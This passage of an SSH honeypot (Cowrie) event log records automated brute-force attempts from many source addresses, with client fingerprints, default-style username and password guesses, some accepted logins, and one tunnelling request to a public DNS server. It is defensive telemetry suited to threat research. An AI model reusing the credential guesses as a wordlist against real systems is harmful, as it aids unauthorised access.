"aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:48.298332Z","src_ip":"14.225.205.58","session":"81cec1131b0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:49.334830Z","src_ip":"14.225.205.58","session":"81cec1131b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:49.589271Z","src_ip":"14.225.205.58","session":"81cec1131b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:49.599360Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:49.925719Z","src_ip":"80.94.92.186","session":"3d4eb814eea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:51.146772Z","src_ip":"80.94.92.186","session":"3d4eb814eea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59990,"dst_ip":"10.17.0.5","dst_port":22,"session":"397c1e386c0b","protocol":"ssh","message":"New connection: 87.251.64.176:59990 (10.17.0.5:22) [session: 397c1e386c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:05.457564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:05.472748Z","src_ip":"87.251.64.176","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:05.569497Z","src_ip":"87.251.64.176","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:05.875873Z","src_ip":"87.251.64.176","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:05.998767Z","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:06.101161Z","src_ip":"87.251.64.176","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:06.202444Z","src_ip":"87.251.64.176","session":"397c1e386c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":59752,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c5f1677b78","protocol":"ssh","message":"New connection: 14.225.205.58:59752 (159.203.135.109:22) [session: d8c5f1677b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:43.956813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:43.962214Z","src_ip":"14.225.205.58","session":"d8c5f1677b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:44.221204Z","src_ip":"14.225.205.58","session":"d8c5f1677b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty123.","message":"login attempt [ubuntu/Qwerty123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:45.290048Z","src_ip":"14.225.205.58","session":"d8c5f1677b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:46.552409Z","src_ip":"14.225.205.58","session":"d8c5f1677b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":49352,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea69bc8a38d1","protocol":"ssh","message":"New connection: 58.186.20.143:49352 (10.17.0.5:22) [session: ea69bc8a38d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:48.015672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:48.024675Z","src_ip":"58.186.20.143","session":"ea69bc8a38d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:48.269017Z","src_ip":"58.186.20.143","session":"ea69bc8a38d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz2wsx","message":"login attempt [user1/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:49.285392Z","src_ip":"58.186.20.143","session":"ea69bc8a38d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:50.535113Z","src_ip":"58.186.20.143","session":"ea69bc8a38d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":34202,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fb904b01da","protocol":"ssh","message":"New connection: 160.251.185.39:34202 (10.17.0.5:22) [session: b2fb904b01da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:54.974918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:54.980565Z","src_ip":"160.251.185.39","session":"b2fb904b01da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:55.171519Z","src_ip":"160.251.185.39","session":"b2fb904b01da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2020","message":"login attempt [root/test2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:55.969656Z","src_ip":"160.251.185.39","session":"b2fb904b01da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:00:57.160765Z","src_ip":"160.251.185.39","session":"b2fb904b01da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":33058,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c93d3397bf","protocol":"ssh","message":"New connection: 101.47.159.125:33058 (159.203.135.109:22) [session: a3c93d3397bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:15.334610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:15.344393Z","src_ip":"101.47.159.125","session":"a3c93d3397bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:15.577188Z","src_ip":"101.47.159.125","session":"a3c93d3397bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"123456","message":"login attempt [csserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:16.538332Z","src_ip":"101.47.159.125","session":"a3c93d3397bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:17.773260Z","src_ip":"101.47.159.125","session":"a3c93d3397bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":43780,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b396057bf0","protocol":"ssh","message":"New connection: 14.225.205.58:43780 (159.203.135.109:22) [session: c3b396057bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:46.510915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:46.515538Z","src_ip":"14.225.205.58","session":"c3b396057bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:46.788862Z","src_ip":"14.225.205.58","session":"c3b396057bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"AAaa123456","message":"login attempt [ubuntu/AAaa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:47.905619Z","src_ip":"14.225.205.58","session":"c3b396057bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:01:49.179375Z","src_ip":"14.225.205.58","session":"c3b396057bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":35314,"dst_ip":"159.203.135.109","dst_port":22,"session":"8889bcb9a832","protocol":"ssh","message":"New connection: 103.91.246.101:35314 (159.203.135.109:22) [session: 8889bcb9a832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:09.658888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:09.902575Z","src_ip":"103.91.246.101","session":"8889bcb9a832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:10.128720Z","src_ip":"103.91.246.101","session":"8889bcb9a832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#qweQWE","message":"login attempt [ubuntu/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:11.105488Z","src_ip":"103.91.246.101","session":"8889bcb9a832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:12.338602Z","src_ip":"103.91.246.101","session":"8889bcb9a832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":18898,"dst_ip":"10.17.0.5","dst_port":22,"session":"746dbca3b567","protocol":"ssh","message":"New connection: 208.87.243.61:18898 (10.17.0.5:22) [session: 746dbca3b567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:12.791940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:12.796382Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-s